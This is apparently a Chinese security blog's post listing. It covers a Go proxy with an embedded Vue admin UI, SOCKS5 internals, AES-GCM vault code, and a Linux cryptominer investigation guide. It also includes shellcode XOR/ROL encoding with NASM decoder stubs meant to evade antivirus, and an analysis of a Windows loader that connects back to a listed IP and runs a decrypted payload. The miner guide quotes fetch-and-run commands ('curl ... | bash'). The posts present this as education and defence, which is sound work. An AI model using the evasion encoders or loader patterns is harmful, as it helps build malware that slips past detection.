Showing Posts From

security

一个二进制交付:把 Vue 3 流量后台嵌入 Go 代理服务

这是 Relay Observatory 代理项目实现系列的第四篇。完整代码放在 GitHub。 前面已经完成:Go HTTP/HTTPS 正向代理; SOCKS5 CONNECT、BIND 与 UDP ASSOCIATE; SQLite 用户认证与流量聚合。最后一步是给代理增加一个真正可用的管理后台,同时保持单文件部署。 最终交付形式: proxy-admin 可执行文件 ├── HTTP Proxy ├── SOCKS5 Proxy ├── Admin JSON API ├── Vue 3 静态资源 └── SQLite 迁移逻辑运行时额外产生: └── proxy_admin.db为什么选择“独立开发、嵌入交付” 前端仍然使用完整 Vue 工程: web/admin/ ├── src/ ├── package.json ├── pnpm-lock.yaml ├── tsconfig.json └── vite.config.ts开发阶段保留:Vue 3 Composition API; TypeScript 类型检查; Vite 热更新; 独立 CSS 和组件; pnpm 依赖锁定。但生产部署不再要求单独运行 Nginx 或 Node: Vue Source ↓ pnpm build dist/ ↓ go:embed Go Binary这比直接在 Go 字符串里拼 HTML 更容易维护,也比部署两个服务简单。 Vite 输出到 Go embed 目录 vite.config.ts: import { defineConfig } from "vite"; import vue from "@vitejs/plugin-vue"; import { resolve } from "node:path";export default defineConfig({ plugins: [vue()], build: { outDir: resolve( import.meta.dirname, "../../internal/adminui/dist", ), emptyOutDir: true, }, server: { proxy: { "/api": "http://127.0.0.1:9090", }, }, });生产构建: cd web/admin pnpm install pnpm build开发服务器通过 Vite proxy 把 /api 请求转发给 Go,生产环境则由同一个 Go Server 提供页面和 API,因此前端代码始终使用相对 URL: fetch("/api/admin/overview", { credentials: "same-origin", });不需要在构建时写死域名。 使用 go:embed 打包前端 package adminuiimport "embed"//go:embed dist var assets embed.FSgo:embed 在编译时读取文件,所以 dist 必须在 go build 前生成。 构建顺序: cd web/admin pnpm build cd ../.. go build ./cmd/proxy-admin生成的 JS、CSS、字体和 index.html 会直接进入 Go 二进制。部署服务器不需要保留 web/admin 源码。 fs.Sub 去掉 dist 前缀 嵌入后的路径是: dist/index.html dist/assets/index-xxx.jsHTTP FileServer 希望根目录直接看到 index.html,因此使用: dist, err := fs.Sub(assets, "dist") if err != nil { panic(err) }fileServer := http.FileServer(http.FS(dist))此时浏览器请求: /assets/index-xxx.js会映射到嵌入文件: dist/assets/index-xxx.jsSPA 回退不能影响静态资源 单页应用未来可能增加: /dashboard /users这些路径在嵌入文件系统中不存在,但应该返回 index.html,让 Vue 接管路由。 func (h *spaHandler) ServeHTTP( w http.ResponseWriter, r *http.Request, ) { name := strings.TrimPrefix( path.Clean(r.URL.Path), "/", ) if name == "." || name == "" { name = "index.html" } if _, err := fs.Stat(h.files, name); err != nil { r = r.Clone(r.Context()) r.URL.Path = "/" } h.fileServer.ServeHTTP(w, r) }注意:API 路由必须在外层 ServeMux 中优先注册,并为未知 API 添加兜底,不能让 /api/... 回退到 HTML。 mux.HandleFunc("GET /api/admin/overview", overview) mux.Handle("/api/", http.NotFoundHandler()) mux.Handle("/", adminui.Handler())Go 1.22 的 method-aware pattern 能直接区分 GET、POST、PATCH 和 DELETE。 后台 API 的边界 管理后台提供: POST /api/admin/login DELETE /api/admin/session GET /api/admin/me GET /api/admin/overview GET /api/admin/users POST /api/admin/users PATCH /api/admin/users/{id} DELETE /api/admin/users/{id}用户管理包括:创建代理用户; 立即启用或停用; 重置 bcrypt 密码; 删除用户及级联流量; 防止当前管理员删除或停用自己。网络层每次建立新连接都会查询 SQLite,因此后台停用用户后,新 HTTP 和 SOCKS5 连接会立即认证失败。 已经建立的长连接不会被强制踢下线。如果需要该能力,就要增加在线连接注册表,并在用户停用时主动关闭对应连接。这是另一个明确的生命周期问题。 为什么管理会话不继续用 Basic Auth 代理协议使用 Basic 或 RFC 1929 是客户端兼容性要求。浏览器后台则使用随机 Session Cookie: random := make([]byte, 32) _, _ = rand.Read(random) token := base64.RawURLEncoding.EncodeToString(random)Cookie 属性: http.Cookie{ Name: "proxy_admin_session", Value: token, Path: "/", HttpOnly: true, Secure: r.TLS != nil, SameSite: http.SameSiteStrictMode, }安全作用:属性 作用HttpOnly JavaScript 无法读取 Token,降低 XSS 后的凭据窃取风险SameSite=Strict 跨站请求默认不携带 CookieSecure HTTPS 下只通过加密连接发送随机 256 bit Token 无法通过用户名或时间推测会话保存在内存,服务重启后管理员需要重新登录。这通常比把管理 Session 也持久化更安全、更简单。 修改接口再做一次同源校验 SameSite 不是唯一防线。对 POST/PATCH/DELETE 再检查 Origin: func sameOrigin(r *http.Request) bool { origin := r.Header.Get("Origin") if origin == "" { return true } parsed, err := url.Parse(origin) return err == nil && strings.EqualFold(parsed.Host, r.Host) }这不是完整的通用 CSRF 框架,但对同源 JSON 管理后台形成了清晰的额外边界。 如果管理后台暴露到公网,还应该:在反向代理层启用 HTTPS; 限制登录频率; 设置可信代理 Header; 增加审计日志; 根据部署拓扑决定是否强制 Secure Cookie。流量页面需要哪些数据 后台首页不是简单显示三个数字,而是回答四个问题:总共转发了多少数据; 最近 24 小时流量如何变化; 哪种代理协议占用最多; 哪个用户流量最高。API 一次返回: interface Overview { traffic: { uploaded_bytes: number; downloaded_bytes: number; requests: number; }; format: { uploaded: string; downloaded: string; total: string; }; active_users: number; protocols: ProtocolUsage[]; trend: TrendPoint[]; top_users: UserRank[]; }后端同时返回原始字节和格式化值:原始字节用于图表计算; 格式化值用于显示 KB、MB、GB、TB; 前端不需要猜测单位精度; API 仍保留机器可计算能力。不引入图表库也能画趋势 24 小时流量曲线数据量很小,可以直接生成 SVG polyline: function line(key: "uploaded_bytes" | "downloaded_bytes") { return points .map((point, index) => { const x = padding + index / Math.max(1, points.length - 1) * innerWidth; const y = height - padding - point[key] / maxValue * innerHeight; return `${x},${y}`; }) .join(" "); }模板: <polyline :points="line('downloaded_bytes')" class="download-line" /> <polyline :points="line('uploaded_bytes')" class="upload-line" />这减少了 ECharts 等大型依赖,也让空状态、颜色和响应式布局完全可控。 设计语言来自网络流量本身 后台没有套通用 Admin Template,而是围绕代理主题设计:深海蓝表示底层网络; 冷青表示上行; 琥珀表示下行; JetBrains Mono 显示字节和请求数; 双向流量轨迹作为主视觉; Vue 页面每 15 秒刷新聚合数据。动画只用在登录页信号线和流量轨迹,且尊重: @media (prefers-reduced-motion: reduce) { *, *::before, *::after { animation: none !important; transition: none !important; } }技术后台的美观不等于堆渐变和卡片,而是让信息层级与系统模型一致。 端到端测试 后端: go test -race ./... go vet ./... go build ./cmd/proxy-admin前端: cd web/admin pnpm build浏览器测试覆盖:打开嵌入页面; 管理员登录; 等待流量总览 API; 切换用户管理; 检查浏览器异常; 截取登录、总览、用户页面。代理回归则真实使用 curl: curl -x http://alice:password@127.0.0.1:8080 \ https://example.comcurl --proxy socks5h://alice:password@127.0.0.1:1080 \ https://example.com最后查询 /stats 或后台,确认两种协议流量都进入 SQLite。 小结 Vue 嵌入 Go 的关键链路是: Vue/TypeScript ↓ Vite build dist 静态资源 ↓ go:embed Go FileServer + SPA fallback ↓ 单个可执行文件配合 SQLite、统一认证接口和 Session Cookie,一个代理程序就从协议实验升级成了可以实际管理和观测的单机服务,同时仍保持部署简单。

拆解 SOCKS5:用 Go 实现 CONNECT、BIND 与 UDP ASSOCIATE

这是 Relay Observatory 代理项目实现系列的第二篇。完整代码放在 GitHub。 上一篇实现了 Go HTTP 正向代理。SOCKS5 与 HTTP 代理不同:它不解析 HTTP 文本,而是在 TCP 连接上交换紧凑的二进制报文,因此可以代理 SSH、数据库协议和其他 TCP 应用。 SOCKS5 是一段状态机 一条 SOCKS5 连接依次经过: TCP Accept ↓ 认证方式协商 ↓ 用户名密码认证 ↓ 读取命令与目标地址 ↓ CONNECT / BIND / UDP ASSOCIATE ↓ 数据转发与流量统计每一步都依赖前一步完成,不能把它当成普通 HTTP Handler。 第一步:协商认证方式 客户端首先发送: +-----+----------+----------+ | VER | NMETHODS | METHODS | +-----+----------+----------+ | 1 | 1 | 1~255 | +-----+----------+----------+例如: 05 01 02含义是:05:SOCKS5; 01:提供一种认证方式; 02:用户名密码认证。读取固定长度协议字段时,应使用 io.ReadFull: header := make([]byte, 2) if _, err := io.ReadFull(client, header); err != nil { return err }methods := make([]byte, int(header[1])) if _, err := io.ReadFull(client, methods); err != nil { return err }不能假设一次 Read 就会拿到完整报文。TCP 是字节流,一次写入可能被拆成多次读取,也可能与后续数据一起到达。 服务端选择 0x02: 05 02如果客户端没有提供支持的方法,则返回: 05 FFFF 表示“所有认证方式都不接受”。 RFC 1929 用户名密码认证 用户名密码认证不是 RFC 1928 主协议的一部分,而是 RFC 1929 扩展: +-----+------+----------+------+----------+ | VER | ULEN | UNAME | PLEN | PASSWD | +-----+------+----------+------+----------+ | 1 | 1 | 1~255 | 1 | 1~255 | +-----+------+----------+------+----------+这里的版本是 01,不是 SOCKS 版本 05。 认证成功返回: 01 00失败返回: 01 01生产实现不应保存明文密码。项目把用户存入 SQLite,并使用 bcrypt: identity, ok := authenticator.Authenticate( username, string(passwordBytes), )需要注意:RFC 1929 只定义了密码格式,没有提供传输加密。客户端到 SOCKS5 服务端之间如果是不可信公网,密码仍可能被窃听,应再套 VPN 或 TLS。 第二步:解析通用请求 认证成功后,三种命令共享同一报文结构: +-----+-----+-----+------+----------+----------+ | VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT | +-----+-----+-----+------+----------+----------+ | 1 | 1 | 1 | 1 | Variable | 2 | +-----+-----+-----+------+----------+----------+CMD:值 命令01 CONNECT02 BIND03 UDP ASSOCIATEATYP:值 地址 长度01 IPv4 4 字节03 域名 1 字节长度 + 域名04 IPv6 16 字节端口固定为两字节大端序: port := binary.BigEndian.Uint16(portBytes)把地址解析抽成 endpoint 后,TCP 请求和 UDP 报文可以复用同一套编码器: type endpoint struct { Host string Port uint16 }func (e endpoint) Address() string { return net.JoinHostPort(e.Host, strconv.Itoa(int(e.Port))) }net.JoinHostPort 很重要,它会正确处理 IPv6 的方括号: 2001:db8::1 + 443 => [2001:db8::1]:443CONNECT:代理主动连接目标 CONNECT 与 HTTP CONNECT 的隧道阶段类似: upstream, err := dialer.DialContext( context.Background(), "tcp", target.Address(), )连接成功后回复: +-----+-----+-----+------+----------+----------+ | VER | REP | RSV | ATYP | BND.ADDR | BND.PORT | +-----+-----+-----+------+----------+----------+其中 REP=00 表示成功,BND.ADDR/BND.PORT 是代理用于这条上游连接的本地地址。 之后启动两个 io.Copy: client --------上传--------> upstream client <-------下载--------- upstreamCONNECT 适用于绝大多数 TCP 场景,也是 curl 的 socks5h:// 主要使用的命令。 BIND:为什么必须返回两次 BIND 的连接方向相反。代理不主动连接目标,而是创建临时监听端口: 客户端 ----控制连接----> SOCKS5 代理 目标端 ----反向连接----> 代理临时端口因此协议需要两次响应。 第一次响应 代理调用: listener, err := net.ListenTCP( "tcp", &net.TCPAddr{IP: localIP, Port: 0}, )端口 0 表示让操作系统分配空闲端口。第一次响应把这个监听地址告诉客户端: REP=00, BND.ADDR=代理地址, BND.PORT=临时端口等待并校验目标 客户端在请求中提供的 DST.ADDR/DST.PORT 表示预期连接者。代理不能接受第一个随便连入的连接,否则临时端口可能被第三方抢占。 校验逻辑包括:请求端口非零时必须匹配来源端口; 请求 IP 非 0.0.0.0/:: 时必须匹配来源 IP; 请求是域名时解析全部 IP 后比较; 不匹配的连接关闭并继续等待; 超过 30 秒返回超时。第二次响应 目标通过校验后,代理再次返回成功,这次 BND.ADDR/BND.PORT 是目标的真实来源地址。 客户端只有收到第二次响应后,才能开始把 BIND 连接当成普通 TCP 隧道使用。 UDP ASSOCIATE:TCP 控制,UDP 传数据 UDP ASSOCIATE 最容易误解。它不是把 UDP 塞进 TCP,而是: TCP:客户端 -------- 会话生命周期 -------- SOCKS5 代理UDP:客户端 ---- SOCKS5 UDP 报文 ----> 代理 ---- 原始 UDP ----> 目标 UDP:客户端 <--- SOCKS5 UDP 报文 ----- 代理 <--- 原始 UDP ----- 目标客户端发送 UDP ASSOCIATE 后,代理创建 UDP socket,并通过 TCP 回复它的地址。 TCP 控制连接必须保持打开。一旦 TCP 断开,代理立即关闭对应 UDP socket: go func() { _, _ = io.Copy(io.Discard, controlConnection) _ = relaySocket.Close() }()这个 TCP 连接没有业务数据,只承担“租约”作用。 SOCKS5 UDP 报文格式 客户端不能把原始 UDP payload 直接发给代理,因为代理不知道目标地址。每个数据报都要带 Header: +------+------+------+----------+----------+----------+ | RSV | FRAG | ATYP | DST.ADDR | DST.PORT | DATA | +------+------+------+----------+----------+----------+ | 2 | 1 | 1 | Variable | 2 | Variable | +------+------+------+----------+----------+----------+例如把 hello udp 发到 127.0.0.1:53: 00 00 | 00 | 01 | 7F 00 00 01 | 00 35 | hello udp RSV FRAG ATYP IP PORT DATA代理解析 Header,把 DATA 作为普通 UDP 发给目标。目标响应后,代理使用目标来源地址重新封装,再发回客户端。 为什么拒绝 FRAG != 0 FRAG 用于 UDP 分片。完整实现需要:按客户端与目标维护分片队列; 识别分片序号和结束位; 设置重组超时; 限制总大小与并发队列; 防止内存耗尽攻击。大多数 SOCKS5 客户端不会使用该能力。为了避免“看似支持、实际不安全”,实现中明确丢弃 FRAG != 0 的数据报。 这是协议实现中很重要的原则:不完整的复杂特性应该明确拒绝,而不是静默误处理。 UDP 中继的来源约束 公开 UDP 中继很容易变成反射攻击工具,因此至少要做三层限制:UDP 来源 IP 必须等于已认证 TCP 客户端 IP; 第一个合法 UDP 包锁定客户端真实端口; 目标响应必须来自客户端主动联系过的地址。contactedTargets[targetAddress.String()] = struct{}{}if _, allowed := contactedTargets[source.String()]; !allowed { continue }请求中的客户端地址经常是 0.0.0.0:0,这是因为客户端在发送第一个 UDP 包前可能还不知道 NAT 映射端口。因此“首次合法报文锁定”比盲目信任请求字段更实用。 三种命令的流量定义 项目采用:命令 上传 下载CONNECT 客户端到目标的 TCP 字节 目标到客户端的 TCP 字节BIND 客户端到反向连接者的字节 反向连接者到客户端的字节UDP ASSOCIATE 去除 SOCKS Header 后的 UDP payload 目标返回的 UDP payloadUDP 不统计 SOCKS5 封装头,便于衡量真正的业务数据。 测试不能只测 parser 协议 parser 单元测试只能证明字节解析正确。完整测试还应创建真实 socket: 测试客户端 -> SOCKS5 服务 -> 本地 TCP/UDP Echo Server覆盖:正确和错误密码; IPv4、IPv6、域名编码; CONNECT 双向数据; BIND 两次响应; UDP ASSOCIATE 双向回显; FRAG != 0 拒绝; 上传、下载和请求次数。再配合 go test -race,检查会话关闭、资源跟踪和统计写入是否存在数据竞争。 小结 SOCKS5 的难点不在 io.Copy,而在状态机和边界: 握手 -> 认证 -> 通用请求 -> 命令分派 -> 生命周期 -> 统计CONNECT 是主动拨号,BIND 是两阶段反向接入,UDP ASSOCIATE 则是 TCP 控制下的 UDP 中继。把地址编解码、命令处理和资源关闭拆开后,协议实现才会既可读又可测试。 下一篇进入数据层:用 SQLite 持久化代理用户、分协议流量与小时趋势。

Python 实现 PBKDF2 + AES-256-GCM 加密存储

PBKDF2 + AES-GCM 是本地加密存储(钱包 vault、配置文件保护)的标准方案:密码经 PBKDF2 派生出密钥,AES-GCM 提供加密和完整性验证。 加密流程 Password ↓ PBKDF2-HMAC-SHA512(iterations=600000, salt=随机16字节) ↓ 32 字节 AES Key ↓ AES-256-GCM(nonce=随机16字节) ↓ Ciphertext + Tag安装依赖 pip install pycryptodome完整实现 import json import os import base64 from hashlib import pbkdf2_hmac from Crypto.Cipher import AESPBKDF2_ITERATIONS = 600_000 # NIST 2023 推荐最低值def derive_key(password: str, salt: bytes) -> bytes: return pbkdf2_hmac( "sha512", password.encode("utf-8"), salt, PBKDF2_ITERATIONS, dklen=32, # AES-256 )def encrypt(password: str, plaintext: str) -> dict: salt = os.urandom(16) nonce = os.urandom(16) key = derive_key(password, salt) cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) ciphertext, tag = cipher.encrypt_and_digest(plaintext.encode("utf-8")) return { "salt": base64.b64encode(salt).decode(), "nonce": base64.b64encode(nonce).decode(), "ciphertext": base64.b64encode(ciphertext).decode(), "tag": base64.b64encode(tag).decode(), }def decrypt(password: str, vault: dict) -> str: salt = base64.b64decode(vault["salt"]) nonce = base64.b64decode(vault["nonce"]) ciphertext = base64.b64decode(vault["ciphertext"]) tag = base64.b64decode(vault["tag"]) key = derive_key(password, salt) cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) return plaintext.decode("utf-8")使用示例 # 加密 secret = '{"privateKey": "0xabcd..."}' vault = encrypt("my_strong_password", secret)# 存储为 JSON with open("vault.json", "w") as f: json.dump(vault, f, indent=2)# 解密 with open("vault.json") as f: vault = json.load(f)plaintext = decrypt("my_strong_password", vault) print(plaintext)vault.json 格式: { "salt": "base64...", "nonce": "base64...", "ciphertext": "base64...", "tag": "base64..." }为什么选 AES-GCM 而非 CBC模式 加密 完整性验证 推荐AES-CBC ✅ ❌(需额外 HMAC) 不推荐新项目AES-GCM ✅ ✅(内置 Tag) ✅ 推���AES-CTR ✅ ❌ 需配合 HMACGCM 模式同时提供加密和认证,decrypt_and_verify 会在解密前验证 Tag,密文被篡改时抛出 ValueError。 关键参数说明 PBKDF2 迭代次数:越高越安全,NIST 2023 建议 SHA-512 至少 210,000 次,MetaMask 等钱包用 600,000 次。代价是派生速度变慢(约 0.5~2 秒),对正常用户不感知,但让暴力破解成本提高数十万倍。 salt 唯一性:每次加密生成新的随机 salt,防止相同密码产生相同密钥(彩虹表攻击)。salt 不需要保密,公开存储即可。 nonce 唯一性:GCM 的 nonce 绝对不能重用于同一密钥,否则 GCM 的安全性完全崩溃。每次加密随机生成是最安全的做法。 密码错误时的行为 try: plaintext = decrypt("wrong_password", vault) except ValueError: print("密码错误或数据被篡改")decrypt_and_verify 验证 Tag 失败时抛出 ValueError,不会泄漏任何明文信息。

Shellcode 编码存储:XOR + ROL 混淆与 NASM 解码桩

为什么需要编码存储 直接将 Shellcode 十六进制字节写进源代码或二进制文件,常见特征扫描工具(AV / EDR)可以直接匹配已知字节序列识别载荷。对字节做简单变换后,原始特征不再出现在文件中,需要在运行时解码才能执行。 这是安全研究(红队测试、恶意软件分析)中最基础的混淆手段,理解它有助于防御侧编写检测规则。 单字节 XOR 编码(最常见) 原理:每个字节与固定 key 做异或,byte ^ key ^ key == byte,自逆。 // encode.js const hexString = `e903000000cccc...`; // 原始 Shellcode 十六进制 const KEY = 0x5A;function encodeXOR(hex, key) { let result = ''; for (let i = 0; i < hex.length; i += 2) { const b = parseInt(hex.substr(i, 2), 16) ^ key; result += b.toString(16).padStart(2, '0'); } return result; }function hexToNasmDb(hex) { const lineLen = 16; let out = 'shellcode:\n'; for (let i = 0; i < hex.length; i += lineLen * 2) { const chunk = []; for (let j = i; j < i + lineLen * 2 && j < hex.length; j += 2) { chunk.push('0x' + hex.substr(j, 2)); } out += ` db ${chunk.join(', ')}\n`; } out += 'shellcode_len equ $-shellcode\n'; return out; }const encoded = encodeXOR(hexString, KEY); console.log(hexToNasmDb(encoded));对应 x64 NASM 解码 stub: section .text global _start_start: lea rsi, [rel shellcode] mov rcx, shellcode_len.decode: xor byte [rsi], 0x5A ; 与 KEY 异或还原 inc rsi loop .decode lea rax, [rel shellcode] jmp rax ; 跳转执行section .data shellcode: db 0xb3, 0x59, 0x5a, ... ; 编码后的字节 shellcode_len equ $-shellcodeROL(循环左移)编码 每字节循环左移 3 位,对应解码时循环右移 3 位(ROR 3): function rol8(value, shift) { shift &= 7; return ((value << shift) | (value >> (8 - shift))) & 0xFF; }function encodeROL(hex, shift = 3) { let result = ''; for (let i = 0; i < hex.length; i += 2) { const b = rol8(parseInt(hex.substr(i, 2), 16), shift); result += b.toString(16).padStart(2, '0'); } return result; }x64 NASM 解码(ROR 3): .decode: ror byte [rsi], 3 inc rsi loop .decodeXOR + ROL 组合 先 XOR 再 ROL,解码时反序:先 ROR 再 XOR: function encodeCombined(hex, key = 0x5A, shift = 3) { let result = ''; for (let i = 0; i < hex.length; i += 2) { let b = parseInt(hex.substr(i, 2), 16); b ^= key; b = rol8(b, shift); result += b.toString(16).padStart(2, '0'); } return result; }对应解码 stub: .decode: mov al, [rsi] ror al, 3 ; 先 ROR(逆 ROL) xor al, 0x5A ; 再 XOR(逆 XOR) mov [rsi], al inc rsi loop .decode注意事项单字节 key 的局限:如果 Shellcode 里本来就包含 key 值的字节(如原始字节恰好 == 0x5A),编码后变为 0x00,仍然可能产生空字节。可以换一个不在原始字节中出现的 key,或改为多字节 rolling key。default rel(NASM):x64 NASM 中建议加 default rel 或显式用 [rel label] 引用数据,否则 64 位相对地址可能超出 32 位范围导致链接错误。loop 指令:loop 在 x64 默认使用 rcx 计数器,每次 dec rcx; jnz,效率低于 dec rcx; jnz。大量数据时可用 dec rcx / jnz 替代。完整流程 原始 Shellcode bytes ↓ JS 编码脚本(XOR / ROL) 编码后的 db 数组(写进 .asm 文件) ↓ NASM 汇编编译 包含解码 stub + 编码数据的二进制 ↓ 运行时执行 stub 循环还原字节 → 跳转执行原始 Shellcode这种 stub + payload 的结构是安全研究中分析加载器(Loader)的基础模型,理解它有助于识别真实样本中的解码阶段。

Shellcode 与汇编的关系:位置无关代码与空字节规避

关系概览 汇编源码 (.asm) ↓ 汇编器 (nasm / masm) 机器码(二进制字节) ↓ 满足额外约束 Shellcode汇编代码是人可读的指令文本;机器码是 CPU 直接执行的二进制;Shellcode 是专门设计的机器码,额外满足注入执行的要求。 为什么叫 Shellcode 最初漏洞利用(如栈溢出)的攻击载荷: [Shellcode][Padding][Return Address]覆盖返回地址后程序跳转到攻击者注入的代码,执行 /bin/sh 获得 Shell,因此得名。现代 Shellcode 不一定启动 Shell,常见用途包括:下载木马、注入 DLL、建立反向连接、调用系统 API。 位置无关代码(PIC) 普通可执行文件有固定加载地址;注入的 Shellcode 则可能落在任意地址,因此不能使用绝对地址引用字符串或函数。 x86 经典写法(call/pop 技巧): call get_rip get_rip: pop ebx ; ebx = 当前 IP,可作为基址计算偏移 ; 用 [ebx + offset] 访问数据而非绝对地址x64 更简洁,RIP 相对寻址天然支持 PIC: lea rax, [rip + data_offset]空字节(Null Byte)问题 许多漏洞场景通过字符串复制触发(如 strcpy),遇到 \x00 会截断。因此 Shellcode 必须避免产生空字节(0x00)。 反例: mov eax, 1 ; b8 01 00 00 00 → 含 \x00 ret ; c3机器码 b8 01 00 00 00 含三个 \x00,不适合作为 Shellcode。 改写后: xor eax, eax ; 31 c0 → eax = 0,无 \x00 inc eax ; 40 → eax = 1 ret ; c3机器码 31 c0 40 c3,无空字节。 常用规避技巧:原写法 替换写法mov eax, N(N 小于 256) xor eax, eax; mov al, Npush 0 xor ecx, ecx; push ecxmov eax, 0 xor eax, eax字符串末尾 \x00 运行时 xor [rsp+N], al 写入NX / DEP:现代系统的阻碍 现代操作系统将内存页分为可写(W)和可执行(X),默认两者不能同时开启: 代码段:R + X(可读可执行) 数据段:R + W(可读可写) 栈: R + W(默认无执行权限)因此攻击者把 Shellcode 注入栈或堆后,直接跳转执行会触发 NX/DEP 保护,产生访问违例。 绕过方式(了解原理即可):ROP(Return-Oriented Programming):链式复用代码段中已有的 gadget,不需要注入新代码。 JIT Spraying:利用 JIT 编译器生成可执行内存,注入伪装成合法代码的载荷。 mmap/VirtualAlloc + mprotect:合法申请可执行内存后拷贝并跳转(多见于合法场景如虚拟机)。汇编动态执行机器码的原理 以 C 伪码说明(仅描述原理): // 1. 申请可执行内存 void *mem = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC, ...);// 2. 写入机器码 memcpy(mem, shellcode_bytes, len);// 3. 跳转执行 ((void(*)())mem)();这等价于汇编: mov rax, <mem_addr> jmp rax ; CPU 将 mem_addr 处字节视为指令序列执行CPU 不区分"正常代码"和"Shellcode",只要内存页有执行权限,任何字节序列都可以执行。 小结概念 说明汇编 人可读的助记符指令文本机器码 汇编编译后的二进制Shellcode 满足 PIC + 无空字节 + 紧凑的机器码NX/DEP 阻止数据页执行的硬件/OS 保护PIC 代码不依赖绝对地址,可在任意内存位置运行实际安全研究中,Shellcode 的开发、测试和分析都在受控的授权测试环境中进行。理解底层原理有助于防御侧识别攻击特征和设计更有效的检测规则。

Linux 查找可疑进程来源:恶意挖矿木马排查

发现可疑进程 /root/.config/sys-update-daemon 时,正常系统进程不会放在用户家目录下,这类路径通常是挖矿木马或后门程序的伪装。 第一步:确认文件创建时间 stat /root/.config/sys-update-daemon重点关注:Modify:文件最后修改时间 Change:inode 变化时间 Birth:创建时间(支持 ext4)通过创建时间可以缩小入侵时间窗口。 第二步:查看进程树 pstree -asp <PID>或: ps -ef --forest | grep sys-update确认是什么进程启动了它(bash、cron、systemd、SSH session)。 第三步:检查 systemd 持久化 恶意程序最常见的持久化方式: # ���看可疑服务 systemctl list-units --type=service | grep -i update# 搜索 systemd 配置文件 grep -R "sys-update-daemon" /etc/systemd /usr/lib/systemd /root/.config/systemd 2>/dev/null如果找到 ExecStart=/root/.config/sys-update-daemon,说明已持久化。 第四步:检查 cron 任务 crontab -l grep -R "sys-update-daemon" /etc/cron* /var/spool/cron/ 2>/dev/null第五步:查看 Shell 历史(关键) history | grep -E "wget|curl|chmod|sys-update" cat ~/.bash_history | grep -E "wget|curl|sys-update|chmod \+x"常见入侵模式: curl http://x.x.x.x/1.sh | bash wget http://x.x.x.x/sys-update-daemon && chmod +x sys-update-daemon如果 history 被清空,查历史文件大小是否异常: ls -l ~/.bash_history wc -l ~/.bash_history第六步:查看 SSH 登录记录 last -a # 最近登录历史,带 IP lastlog # 每个账户最后登录重点看陌生 IP 地址。如果服务器 22 端口暴露公网,极可能被 SSH 爆破入侵。 第七步:查看网络连接 ss -antp | grep <PID> lsof -i -P -n | grep sys-update挖矿木马常见连接端口:3333、4444、5555、7777、14444(矿池端口)。 第八步:静态分析二进制 sha256sum /root/.config/sys-update-daemon strings /root/.config/sys-update-daemon | less搜索关键字: strings /root/.config/sys-update-daemon | grep -iE "xmrig|stratum|mining|pool|bot|cnc"出现 xmrig、stratum+tcp://、矿池域名基本确认是挖矿木马。 第九步:查最近被修改的文件 推断同时落地的其他恶意文件: # 最近 1 天内修改的文件 find /root /tmp /var/tmp -type f -mtime -1 2>/dev/null# 按具体时间查(替换时间为创建时间) find / -type f -newermt "2026-05-28 00:30" ! -path "/proc/*" 2>/dev/null隔离和清理 # 先杀进程 kill -9 <PID># 移除执行权限 chmod -x /root/.config/sys-update-daemon# 检查是否自动重启(有守护进程) ps -ef | grep sys-update如果持续重启,说明还有守护脚本: systemctl stop <service-name> systemctl disable <service-name> rm /etc/systemd/system/<service-name>.service常见入侵向量原因 排查命令SSH 弱密码/爆破 `last -aRedis 未授权 redis-cli config get requirepassDocker API 暴露 `ss -antp宝塔弱口令 查 Panel 访问日志Java/Jenkins/Log4j 漏洞 查应用访问日志异常请求公网暴露的服务器,SSH 默认端口 + 弱密码几乎一定会被爆破。建议:禁止密码登录,只允许 SSH 密钥认证。

x64 Windows Shellcode 分析:PEB 遍历与哈希 API 解析

无导入表 Shellcode 的核心思路 普通 PE 文件有导入地址表(IAT),链接器在加载时帮你填好函数地址。Shellcode 注入到任意内存后没有这张表,需要在运行时自己找函数地址。经典方案: gs:[60h] → PEB → InMemoryOrderModuleList → kernel32 基址 ↓ 遍历导出表(Export Directory) ↓ 对每个函数名计算哈希,与目标哈希比较 ↓ 找到后读 AddressOfFunctions 得到实际地址读 PEB 找 kernel32 x64 上 PEB 地址固定在 gs:[60h]: mov rax, gs:[60h] ; rax = PEB mov rax, [rax+18h] ; rax = PEB_LDR_DATA mov rax, [rax+10h] ; rax = InLoadOrderModuleList.Flink ; 第三个模块通常是 kernel32.dll对应 C 结构: PEB → PEB_LDR_DATA PEB_LDR_DATA → InMemoryOrderModuleList (index 0: ntdll, index 1: kernel32)导出表哈希匹配 Shellcode 不存储函数名字符串,而是存预计算好的哈希值,避免明文暴露。常见算法(ROR-13 变体): def ror13_hash(name: bytes) -> int: h = 0 for c in name: h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF h = (h + c) & 0xFFFFFFFF return hShellcode 中看到的调用模式: mov ecx, 0726774Ch ; LoadLibraryA 的预计算哈希 call resolve_api ; 通用 API 解析函数,返回地址在 raxresolve_api 函数做以下事情: 1. 遍历 InMemoryOrderModuleList 2. 对每个模块读 Export Directory 3. 遍历 AddressOfNames,计算每个函数名的哈希 4. 哈希匹配时: AddressOfNameOrdinals[i] → ordinal AddressOfFunctions[ordinal] → RVA → 实际地址动态加载 DLL 找到 LoadLibraryA 后,用栈上逐字节写入的字符串加载目标库,避免字符串明文出现在数据段: ; 构造 "user32.dll" 字符串 mov dword ptr [rbp-70h], 'resu' ; "user" mov dword ptr [rbp-6Ch], 'd.23' ; "32.d" mov dword ptr [rbp-68h], 'll' ; "ll" mov byte ptr [rbp-66h], 0 ; null terminator lea rcx, [rbp-70h] call rbx ; LoadLibraryA("user32.dll")同样方式加载 ws2_32.dll、msvcrt.dll。 网络反连结构 加载 ws2_32 后按标准顺序调用 WinSock API: ; 初始化 WinSock mov ecx, 202h ; wVersionRequested = 2.2 call WSAStartup; 创建 socket ; socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) call socket; 填充 sockaddr_in,IP 写入栈上 ; 102.217.197.174:port(字节倒序写入) call connect; 接收第二阶段 payload call recvC2 IP 以字节方式分散写入栈帧,IDA/Ghidra 不会自动识别为字符串,需手动组合。 VirtualAlloc + XOR 解密执行 接收到加密 payload 后: ; 申请可执行内存 mov ecx, <payload_size> xor r8d, r8d mov r9d, 40h ; PAGE_EXECUTE_READWRITE call VirtualAlloc; XOR 解密循环 .loop: xor byte ptr [rcx+rdi], 99h ; key = 0x99 inc rdi cmp rdi, rcx jl .loop; 跳转执行 call rax整体执行流程 